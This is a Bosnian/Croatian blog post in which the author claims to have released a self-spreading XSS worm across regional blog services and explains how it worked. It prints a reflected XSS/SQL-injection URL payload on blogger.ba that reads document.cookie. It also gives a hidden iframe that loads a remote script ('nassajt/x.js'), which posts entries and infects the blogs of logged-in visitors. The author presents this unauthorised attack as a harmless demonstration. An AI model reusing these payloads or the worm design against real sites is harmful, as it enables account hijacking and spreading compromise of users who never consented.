xss w0rm

//wh3n th1s b3g4n
hrdjavi svijet pretvaranja, u kojem izgled vara a stvari i ljudi nisu onakvi kakvim se cine da jesu i kakvim se prodaju. sta je zasluzeno!? i ne, nikada joj nisam rekao…

0x75.0x6E.0x64.0x65.0x72.0x67.0x72.0x30.0x75.0x6E.0x64

ovo je post koji se nedavno "neovlasteno" poceo pojavljivati na nasim i okolnim blog servisima.
sta se tacno zbilo?
obicna demonstracija mogucnosti (opasnosti) xss propusta u web aplikacijama. pregledajuci nase i okolne blog servise, nisam naisao ni na jedan bez najmanje 2 opasne html/javascript injekcije (xss). sto je josh bizarnije, samo admin blogger.ba blog servisa je popravio xss propust koristen u w0rmu, sto je na kraju jedino vazno, zbog ne destruktivne prirode ovog "napada" 🙂
tako da ovom prilikom objavljujem xss propust (uklonjen) na blogger.ba kojeg sam koristio
http://www.blogger.ba/vijesti.php?id=91 UNION SELECT * FROM <script>alert(document.cookie)</script>
ovdje mozete primjetiti sql injekciju, ali posto ne poznajem mysql strukturu baze na blogger.ba, nisam to uspio exploitirati, medjutim posto ovdje dobijamo error poruku, mozemo ubaciti i izvrsiti js.

iz brojki u boxu xss w0rm, moze se zakljuciti da je blogger.ba admin bio najsporiji, dok su ostali (blog.hr i bloger.hr) bili "brzi". ukljucivanje blog.ba je bilo ocito nepotrebno.

moglo se na vise mjesta procitati dosta zanimljivih komentara o ovom "napadu" (uglavnom smijesnih), gdje "experti" za "sigurnost racunara" daju savjete da se mjenja password i brisu kukiji… neki su korisnici izgubili i blogove i postove, samo krivicom njihovih provajdera blogging usluga…
link za slijedci post dajem samo zbog dvije stvari
http://www.tportal.hr/tehnologija/internet/page/2007/05/28/0107006.html
i) mladenacka neshvacenost??? veoma, veoma diskutabilno
ukratko kako xss w0rm radi – koristi xss propust na glavnoj domeni (gdje smo autentifikovani kao user) koji loaduje js file koji koristi xmlhttprequest da izvrsava requeste, dodajuci post, mjenjajuci html kod bloga (dodajuci zarazu na blog). ako neko posjeti blog na kojem je post, a loginovan je pri tome, i njegov blog se zarazi i postom i "zamkom". zamka se stavi na neki blog (izvor zaraze), odakle drugi polahko kupe "zarazu".
najprostiji primjer, koristeci gore navedeni xss propust na blogger.ba
izvor zaraze, tj prvi blog na kojem se nazali zamka u svom html kodu ima
<iframe src="http://www.blogger.ba/vijesti.php?id=91 UNION SELECT * FROM <script src=http://nassajt/x.js></script>" width="0" …></iframe>
u x.js fajlu, se nalaze funkcije za dodavanje posta i zarazu html koda bloga, posto se js loaduje i izvrsava na glavnoj domeni, imamo pristup admin panelu posjetioca, ukoliko posjetioc koji posjecuje ovaj blog je loginovan.
na njegov blog(ove) dodaje se gore navedeni post, i gore navedeni <iframe> u html kod blog(ov)a

ii) "koji se ‘širi posjetom bloga’ što je potpuna besmislica i spada u domenu loših holivudskih filmova o hakerima"
smatram da je opasno pricati o necemu o cemu imamo nedovoljno (malo ili nimalo) znanja, opasno za nas, za nase drustvo… suplja prica if you will

2 komentara

Komentariši